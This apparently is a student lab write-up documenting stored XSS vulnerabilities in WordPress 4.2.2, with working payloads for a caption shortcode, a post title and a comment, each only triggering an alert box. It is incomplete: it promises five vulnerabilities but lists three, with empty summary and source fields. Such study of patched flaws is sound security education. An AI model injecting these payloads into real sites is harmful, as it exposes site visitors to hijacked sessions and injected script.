Time spent: 5 hours spent in total
Objective: Find, analyze, recreate, and document five vulnerabilities affecting an old version of WordPress
- Summary:
- Vulnerability types: XSS
- Tested in version: 4.2.2
- Fixed in version: 4.3.2
- GIF Walkthrough:
- Steps to recreate: Become administrator aka "hacker" account, then use the exploit by inserting this malicious script into the post:
<a href="[caption code=">]</a><a title=" onmouseover=alert('Pwned!') ">link</a> - Affected source code:
- Summary:
- Vulnerability types: XSS
- Tested in version: 4.2.2
- Fixed in version: 4.7.1
- GIF Walkthrough:
- Steps to recreate: Go to the post title and paste this code
<img src="#" ONERROR="alert('Hacked!')"/> - [] Affected source code:
- Summary:
- Vulnerability types: XSS
- Tested in version: 4.2.2
- Fixed in version: 4.7.0
- GIF Walkthrough:
- Steps to recreate: comment on a post this code:
<svg/onload=alert('Hacked!')> - [] Affected source code:
When i was attempting to exploit the wordpress vulnerabilities, I found that the exploits were similar to ones found online. However, there were some differences in my own implementation compared to those found online. My implementation is original because i have tried attempting this many times.
Copyright [2023] [Luciano Scarpaci]
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